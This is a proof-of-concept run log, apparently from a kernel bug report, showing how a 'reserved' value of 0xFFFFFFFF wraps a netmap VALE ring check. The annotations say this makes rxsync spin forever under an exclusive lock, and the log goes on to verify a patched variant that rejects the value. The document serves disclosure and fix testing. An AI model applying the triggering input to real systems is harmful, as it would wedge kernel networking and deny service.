DF-3369 / run.log
# Console/dmesg evidence, stock INVARIANTS kernel #0.
# Vulnerable module (/root/df3369/df3369.ko):
df3369: mode 0 (CONTROL, reserved=4): nslots=1024 lim=1023 cur=5 reserved=0x00000004 avail=1, nr_hwcur=0
df3369: check (resvd+avail >= lim+1): 0x00000005 >= 1024 ? FALSE (wrap defeats check)
df3369: RESULT terminated after 1 iterations; nr_hwcur=1 avail=5
df3369: mode 1 (ATTACK, reserved=0xFFFFFFFF avail=1):
df3369: mode 1: nslots=1024 lim=1023 cur=5 reserved=0xffffffff avail=1, nr_hwcur=0
df3369: check (resvd+avail >= lim+1): 0x00000000 >= 1024 ? FALSE (wrap defeats check)
^^^ 0xFFFFFFFF + 1 wraps to 0; the only sanity check on reserved is defeated
df3369: RESULT NON-TERMINATING: 1000000 iterations without j reaching k (k = 1030 is OUTSIDE [0..1023]; j cycles via nm_next) - in the real subsystem this loop spins forever holding q_lock exclusive
^^^ k = cur + lim + 1 - resvd = 5 + 1024 + 1 = 1030 (mod 2^32); j = nr_hwcur
cycles [0..1023] via nm_next(); j != k forever. In the verbatim code there
is NO bail-out: bdg_netmap_rxsync (netmap_vale.c:1515) spins with
kring->q_lock held LK_EXCLUSIVE -> unkillable NIOCRXSYNC, wedged netisr.
===== FIXED VARIANT (-DDD3369_FIXED: reject resvd >= lim+1 as well) =====
df3369: mode 1: nslots=1024 lim=1023 cur=5 reserved=0xffffffff avail=1, nr_hwcur=0
df3369: check (resvd+avail >= lim+1): 0x00000000 >= 1024 ? FALSE (wrap defeats check)
df3369: [D] XXX invalid reserve/avail 4294967295 1
^^^ resvd >= lim+1 caught -> reserved reset to 0
df3369: RESULT terminated after 5 iterations; nr_hwcur=5 avail=5